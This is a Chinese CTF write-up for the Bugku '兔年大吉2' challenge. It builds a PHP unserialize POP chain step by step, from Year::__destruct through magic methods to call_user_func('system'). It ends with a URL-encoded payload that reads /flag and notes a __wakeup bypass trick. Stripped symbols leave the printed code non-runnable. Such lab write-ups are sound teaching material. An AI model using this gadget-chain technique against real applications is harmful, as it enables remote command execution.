Bugku_兔年大吉2 解题方法

目录前言题目解题过程1.触发Happy的__call2. 触发 Nevv 的 __invoke3.触发 Year 的 __get4. 触发 Rabbit 的 __set5. 触发 Year 的 __destruct完整构造链1.完整 POP 链梳理2.完整链条3.完整构造POP链构造代码补充关于 Happy::__wakeup 的说明前言闲来无事练练题结果被打下了重新复习了下php反序化后成功拿下此题那就写个解题思路吧分享记录下awa。题目?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } public function __call($name, $arguments) { call_user_func($this-cmd, $this-content); } public function __wakeup() { die(Wishes can be fulfilled); } } class Nevv{ private $happiness; public function __invoke() { return $this-happiness-check(); } } class Rabbit{ private $aspiration; public function __set($name,$val){ return $this-aspiration-family; } } class Year{ public $key; public $rabbit; public function __construct($key) { $this-key $key; } public function firecrackers() { return $this-rabbit-wish allkill QAQ; } public function __get($name) { $name $this-rabbit; $name(); } public function __destruct() { if ($this-key happy new year) { $this-firecrackers(); }else{ print(Welcome 2023!!!!!); } } } if (isset($_GET[pop])) { $a unserialize($_GET[pop]); }else { echo 过新年啊~过个吉祥年~; } ? 过新年啊~过个吉祥年~解题过程1.触发Happy的__call我们从后往前直接看pop链的最后部分执行命令的函数Happy类中存在call_user_func函数可调用接受两个参数来执行命令第一个参数为函数名第二个参数为执行的内容。外层是__call魔术方法所以我们需要先想办法触发__call从而利用call_user_func执行命令__call的触发条件当对一个对象调用 当前作用域内不可访问的方法 时触发不可访问的方法可以是不存在的方法此时我们需要去找到一个存在调用方法代码语句发现Nevv类中存在return $this-happiness-check();语句只需要将this-happiness也就是Nevv的happiness属性赋值为 Happy类即可调用Happy的check()触发__call Happy类中没有check()方法所以我们可以写出第一次构造的代码注意由于happiness为私有属性需要通过__construct方法来赋值?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) //添加一个__construct方法便于赋值 { $this-happiness$happiness; } } $happy new Happy(system,ls); //传入函数名和内容 $nevv new Nevv($happy); // 赋值 echo serialize($nevv); //输出检验运行结果O:4:Nevv:1:{s:15:\0Nevv\0happiness;O:5:Happy:2:{s:10:\0Happy\0cmd;s:6:system;s:14:\0Happy\0content;s:2:ls;}}2. 触发 Nevv 的 __invokepublic function __invoke() { return $this-happiness-check(); }__invoke的触发条件当把一个对象当作函数调用时触发例如$obj()。于是我们需要找到一个地方把Nevv对象当作函数调用。继续往前找发现Year类中存在public function __get($name) { $name $this-rabbit; $name(); }这里把$this-rabbit赋值给$name然后$name()把它当函数调用。所以只需要让Year的rabbit属性为Nevv对象就可以触发Nevv::__invoke()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year new Year(, $nevv); // 让 Year 的 rabbit 属性为 Nevv 对象 echo serialize($year); // 输出检验3.触发 Year 的 __get__get的触发条件当访问一个对象中不存在或不可访问的属性时触发。我们需要找到一个地方去访问Year对象中不存在的属性。继续往前找发现Rabbit类中public function __set($name,$val){ return $this-aspiration-family; }这里访问了 $this-aspiration-family。如果 aspiration 是一个 Year 对象而 Year 中没有 family 属性确实没有就会触发 Year::__get()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) //增加一个参数便于构造 { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); // 让 Rabbit 的 aspiration 属性为 Year 对象 echo serialize($rabbit); // 输出检验到这里Year::__get()的构造已经就绪。但要让它真正被触发还需要Rabbit::__set()去访问$this-aspiration-family。所以继续往前找__set的触发点。4. 触发 Rabbit 的 __set__set的触发条件当给一个对象中不存在或不可访问的属性赋值时触发。我们需要找到一个地方去给Rabbit对象中不存在的属性赋值。继续往前找发现Year类中public function firecrackers() { return $this-rabbit-wish allkill QAQ; }这里给 $this-rabbit-wish 赋值。如果 rabbit 是一个 Rabbit 对象而 Rabbit 中没有 wish 属性确实没有就会触发 Rabbit::__set()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); $year1 new Year(happy new year, $rabbit); // 让 Year 的 rabbit 属性为 Rabbit 对象 echo serialize($year1); // 输出检验到这里Rabbit::__set()的构造已经就绪。但要让它真正被触发还需要Year::firecrackers()去给$this-rabbit-wish赋值。所以继续往前找触发点。5. 触发 Year 的 __destruct__destruct的触发条件当对象被销毁时触发脚本结束、unset、或引用计数归零。继续往前看Year类中存在​​​​​​public function __destruct() { if ($this-key happy new year) { $this-firecrackers(); }else{ print(Welcome 2023!!!!!); } }这里要求$this-key happy new year然后调用firecrackers()。所以最后直接序列化Year即可至此整条 POP 链构造完成。完整构造链1.完整 POP 链梳理从入口unserialize($_GET[pop])开始逐层触发Year::__destruct()— 脚本结束对象销毁时触发条件$this-key happy new year调用$this-firecrackers()Year::firecrackers()执行$this-rabbit-wish allkill QAQ若rabbit是Rabbit对象且没有wish属性 → 触发Rabbit::__set()Rabbit::__set()执行return $this-aspiration-family若aspiration是Year对象且没有family属性 → 触发Year::__get()Year::__get()执行$name $this-rabbit; $name();若rabbit是Nevv对象 → 把对象当函数调用 → 触发Nevv::__invoke()Nevv::__invoke()执行return $this-happiness-check()若happiness是Happy对象且没有check()方法 → 触发Happy::__call()Happy::__call()执行call_user_func($this-cmd, $this-content)即call_user_func(system, 命令)→执行命令2.完整链条unserialize($_GET[pop])→ Year::__destruct() // key happy new year→ Year::firecrackers() // $this-rabbit-wish ...→ Rabbit::__set() // 访问 $this-aspiration-family→ Year::__get() // $name $this-rabbit; $name();→ Nevv::__invoke() // $this-happiness-check()→ Happy::__call() // call_user_func($this-cmd, $this-content)→ system(ls)3.完整构造POP链构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); $year1 new Year(happy new year, $rabbit); echo serialize($year1); // 输出最终检验输出结果O:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:\0Rabbit\0aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:\0Nevv\0happiness;O:5:Happy:3:{s:10:\0Happy\0cmd;s:6:system;s:14:\0Happy\0content;s:2:ls;}}}}}转为url编码O:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:%00Rabbit%00aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:%00Nevv%00happiness;O:5:Happy:3:{s:10:%00Happy%00cmd;s:6:system;s:14:%00Happy%00content;s:2:ls;}}}}}获取flag?popO:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:%00Rabbit%00aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:%00Nevv%00happiness;O:5:Happy:3:{s:10:%00Happy%00cmd;s:6:system;s:14:%00Happy%00content;s:9:cat%20/flag;}}}}}补充关于Happy::__wakeup的说明在分析Happy类时可以看到它定义了一个__wakeup魔术方法public function __wakeup() { die(Wishes can be fulfilled); }按照 PHP 反序列化的规则当一个对象被unserialize()还原时如果它的类中定义了__wakeup()那么该方法会自动被调用。也就是说只要Happy对象出现在序列化字符串里理论上__wakeup就会执行die()直接终止脚本。但实际测试中不绕过__wakeup也能成功执行命令。如需绕过只需将对应的对象属性数量修改为大于实际值即可。